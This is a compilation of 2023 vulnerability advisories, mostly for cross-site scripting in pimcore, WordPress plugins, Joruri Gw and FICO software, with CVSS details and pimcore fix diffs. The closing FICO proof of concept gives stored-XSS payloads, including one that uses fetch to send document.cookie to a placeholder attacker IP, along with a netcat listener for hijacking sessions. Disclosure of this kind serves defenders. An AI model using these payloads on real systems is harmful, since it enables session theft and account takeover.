## Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-q7cc-m6jw-m262. This link is maintained to preserve external references.

## Original DescriptionCross-site Scripting (XSS) - Reflected in GitHub repository pimcore/pimcore prior to 10.5.21.

**Duplicate Advisory: Cross-site Scripting (XSS) in Predefined Properties delete**

Moderate severity GitHub Reviewed Published May 10, 2023 to the GitHub Advisory Database • Updated May 10, 2023

GHSA-j93v-cx26-2xc4: Duplicate Advisory: Cross-site Scripting (XSS) in Predefined Properties delete

## Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-mhpj-7m7h-8p6x. This link is maintained to preserve external references.

## Original Description
Cross-site Scripting (XSS) - Generic in GitHub repository pimcore/pimcore prior to 10.5.21.

**Duplicate Advisory: Pimcore Cross-site Scripting (XSS) in Static Routes name field**

Moderate severity GitHub Reviewed Published May 10, 2023 to the GitHub Advisory Database • Updated May 10, 2023

GHSA-g947-422m-hr7p: Duplicate Advisory: Pimcore Cross-site Scripting (XSS) in Static Routes name field

Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in WP Engine Advanced Custom Fields Pro, WP Engine Advanced Custom Fields plugins <= 6.1.5 versions.

**Solution**

Update the WordPress Advanced Custom Fields PRO plugin to the latest available version (at least 6.1.6).

Found this useful? Thank Rafie Muhammad (Patchstack) for reporting this vulnerability. Buy a coffee ☕

Rafie Muhammad (Patchstack) discovered and reported this Cross Site Scripting (XSS) vulnerability in WordPress Advanced Custom Fields PRO Plugin. This could allow a malicious actor to inject malicious scripts, such as redirects, advertisements, and other HTML payloads into your website which will be executed when guests visit your site. This vulnerability has been fixed in version 6.1.6.

**3 other known vulnerabilities for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-30777: WordPress Advanced Custom Fields Pro plugin <= 6.1.5 - Reflected Cross Site Scripting (XSS) vulnerability - Patchstack

Cross-site scripting vulnerability in Joruri Gw Ver 3.2.5 and earlier allows a remote authenticated attacker to inject an arbitrary script via Message Memo function of the affected product.

Published:2023/04/17  Last Updated:2023/04/17

**Overview**

Joruri Gw provided by SiteBridge Inc. contains a cross-site scripting vulnerability.

**Products Affected**

*   Joruri Gw Ver 3.2.5 and earlier

**Description**

Joruri Gw provided by SiteBridge Inc. is groupware. Message Memo function of Joruri Gw contains a cross-site scripting vulnerability (CWE-79).

**Impact**

An arbitrary script may be executed on the web browser of the user who is accessing the specific page of the product.

**Solution**

**Update the software**  
Update the software to the latest version according to the information provided by the developer.

**Vendor Status**

**References**

**JPCERT/CC Addendum**

**Vulnerability Analysis by JPCERT/CC**

CVSS v3 CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Attack Vector(AV)

Physical (P)

Local (L)

Adjacent (A)

Network (N)

Attack Complexity(AC)

High (H)

Low (L)

Privileges Required(PR)

High (H)

Low (L)

None (N)

User Interaction(UI)

Required (R)

None (N)

Scope(S)

Unchanged (U)

Changed (C)

Confidentiality Impact(C)

None (N)

Low (L)

High (H)

Integrity Impact(I)

None (N)

Low (L)

High (H)

Availability Impact(A)

None (N)

Low (L)

High (H)

CVSS v2 AV:N/AC:M/Au:S/C:N/I:P/A:N

Access Vector(AV)

Local (L)

Adjacent Network (A)

Network (N)

Access Complexity(AC)

High (H)

Medium (M)

Low (L)

Authentication(Au)

Multiple (M)

Single (S)

None (N)

Confidentiality Impact(C)

None (N)

Partial (P)

Complete (C)

Integrity Impact(I)

None (N)

Partial (P)

Complete (C)

Availability Impact(A)

None (N)

Partial (P)

Complete (C)

**Credit**

Tsutomu Aramaki of Mitsui Bussan Secure Directions, Inc. reported this vulnerability to IPA.  
JPCERT/CC coordinated with the developer under Information Security Early Warning Partnership.

**Other Information**

CVE-2023-27888: Joruri Gw vulnerable to cross-site scripting

Cross-site scripting vulnerability in Appointment and Event Booking Calendar for WordPress - Amelia versions prior to 1.0.76 allows a remote unauthenticated attacker to inject an arbitrary script by having a user who is logging in the WordPress where the product is installed visit a malicious URL.

Published:2023/04/24  Last Updated:2023/04/24

**JVN#00971105  
WordPress Plugin "Appointment and Event Booking Calendar for WordPress - Amelia" vulnerable to cross-site scripting  
**

**Overview**

WordPress Plugin "Appointment and Event Booking Calendar for WordPress - Amelia" contains a cross-site scripting vulnerability.

**Products Affected**

*   Appointment and Event Booking Calendar for WordPress - Amelia versions prior to 1.0.76

**Description**

WordPress Plugin "Appointment and Event Booking Calendar for WordPress - Amelia" provided by TMS contains a cross-site scripting vulnerability (CWE-79).

**Impact**

An arbitrary script may be executed on the web browser of the user who is logging in the WordPress where the product is installed.

**Solution**

**Update the plugin**  
Update the plugin to the latest version according to the information provided by the developer.

**Vendor Status**

**References**

**JPCERT/CC Addendum**

**Vulnerability Analysis by JPCERT/CC**

CVSS v3 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Attack Vector(AV)

Physical (P)

Local (L)

Adjacent (A)

Network (N)

Attack Complexity(AC)

High (H)

Low (L)

Privileges Required(PR)

High (H)

Low (L)

None (N)

User Interaction(UI)

Required (R)

None (N)

Scope(S)

Unchanged (U)

Changed (C)

Confidentiality Impact(C)

None (N)

Low (L)

High (H)

Integrity Impact(I)

None (N)

Low (L)

High (H)

Availability Impact(A)

None (N)

Low (L)

High (H)

CVSS v2 AV:N/AC:H/Au:N/C:N/I:P/A:N

Access Vector(AV)

Local (L)

Adjacent Network (A)

Network (N)

Access Complexity(AC)

High (H)

Medium (M)

Low (L)

Authentication(Au)

Multiple (M)

Single (S)

None (N)

Confidentiality Impact(C)

None (N)

Partial (P)

Complete (C)

Integrity Impact(I)

None (N)

Partial (P)

Complete (C)

Availability Impact(A)

None (N)

Partial (P)

Complete (C)

**Credit**

Gen Sato of Mitsui Bussan Secure Directions, Inc. reported this vulnerability to the developer and coordinated. The developer and JPCERT/CC published respective advisories in order to notify users of this vulnerability.

**Other Information**

CVE-2023-27918: JVN#00971105: WordPress Plugin "Appointment and Event Booking Calendar for WordPress

Cross-site Scripting (XSS) - Reflected in GitHub repository pimcore/pimcore prior to 10.5.21.

CVE-2023-2615

Cross-site Scripting (XSS) - DOM in GitHub repository pimcore/pimcore prior to 10.5.21.

Expand Up

@@ -76,6 +76,8 @@ public function addAction(Request $request)

  

$success = false;

  

$this\->isValidConfigName($request\->get('name'));

  

$report = CustomReport\\Config::getByName($request\->get('name'));

  

if (!$report) {

Expand Down Expand Up

@@ -129,6 +131,7 @@ public function cloneAction(Request $request)

$this\->checkPermission('reports\_config');

  

$newName = $request\->get('newName');

$this\->isValidConfigName($newName);

$report = CustomReport\\Config::getByName($newName);

if ($report) {

throw new \\Exception('report already exists');

Expand Down Expand Up

@@ -187,7 +190,7 @@ public function getAction(Request $request)

public function updateAction(Request $request)

{

$this\->checkPermission('reports\_config');

  

$this\->isValidConfigName($request\->get('name'));

$report = CustomReport\\Config::getByName($request\->get('name'));

if (!$report) {

throw $this\->createNotFoundException();

Expand Down Expand Up

@@ -519,4 +522,13 @@ public function downloadCsvAction(Request $request)

  

throw new FileNotFoundException("File \\"$exportFile\\" not found!");

}

  

/\*\*

\* @throws \\Exception

\*/

public function isValidConfigName(string $configName) {

if(!preg\_match('/^\[a-zA-Z0-9\_\\-\]+$/', $configName)) {

throw new \\Exception('The customer report name is invalid');

}

}

}

CVE-2023-2614: Fix name field in custom reports (#15007) · pimcore/pimcore@c36ef54

Cross-site Scripting (XSS) - Generic in GitHub repository pimcore/pimcore prior to 10.5.21.

Permalink

Browse files

Browse the repository at this point in the history

\[Security\] Fix xss in static routes panel (#14947)

\* added new helper function to htmlEncode textFields, fixed xss issue in static routes panel

\* added \`htmlspecialchars\` to model

\* fixed double encode issue

\* fixed double encode problem in BE

\* changed type of \`htmlspecialchars\`, added \`htmlspecialchars\` to \`setMethods\`

\* improved \`htmlSpecialChars\`

\* changed SecurityHelper method name to \`convertHtmlSpecialChars\`

\* added htmlEncode to \`deleteConfirm\` msgbox

*   Loading branch information

CVE-2023-2616: [Security] Fix xss in static routes panel (#14947) · pimcore/pimcore@07a2c95

There is a cross-site-request forgery vulnerability in Esri Portal for ArcGIS Versions 11.0 and below that may allow an attacker to trick an authorized user into executing unwanted actions. 

CVE-2023-25832: Portal for ArcGIS Security 2023 Update 1 Patch

Multiple stored cross-site scripting (XSS) vulnerabilities in FICO Origination Manager Decision Module 4.8.1 allow attackers to execute arbitrary web scripts or HTML via a crafted payload.

    # Exploit Title: Stored-XSS in FICO Origination Manager Decision Module 4.8.1 Leads to Session Hijacking# Date: 2023-05-07# Exploit Author: Matei Josephs# Vendor Homepage: https://www.fico.com/# Version: FICO Origination Manager Decision Module 4.8.1# CVE : CVE-2023-30056, CVE-2023-30057Introduction=================Multiple stored cross-site scripting (XSS) vulnerabilities in FICO Origination Manager Decision Module 4.8.1 allow to execute code in the context of the victim's browser using a crafted payload. Additionally, an attacker with initial access to the application, can get the JSESSIONID cookie of another user and take over their session. These two findings can be chained together.Proof of Concept=================All description fields when adding Categories and Products, Product Strategies, Decision Flows, Data Object References, Data Methods, Data Method Sequences, Rulesets, Decision Tables, Decision Trees, Score Models, Scenarios, or Internal Services are vulnerable to a stored XSS using the following payload:   <img/src/onerror=prompt(document.cookie)>An attacker could implement a cookie stealer as follows:  On the attacker's machine:    nc -lvnp <PORT>  In one of the vulnerable description fields:    <img/src/onerror=fetch('http://<ATTACKER-IP>:<PORT>/'+document.cookie)>When a victim would visit the page where the payload was injected, the attacker would receive their JSESSIONID cookie. The attacker could then use the JSESSIONID cookie to log into the Origination Manager Decision Module as the victim.

Tag

#xss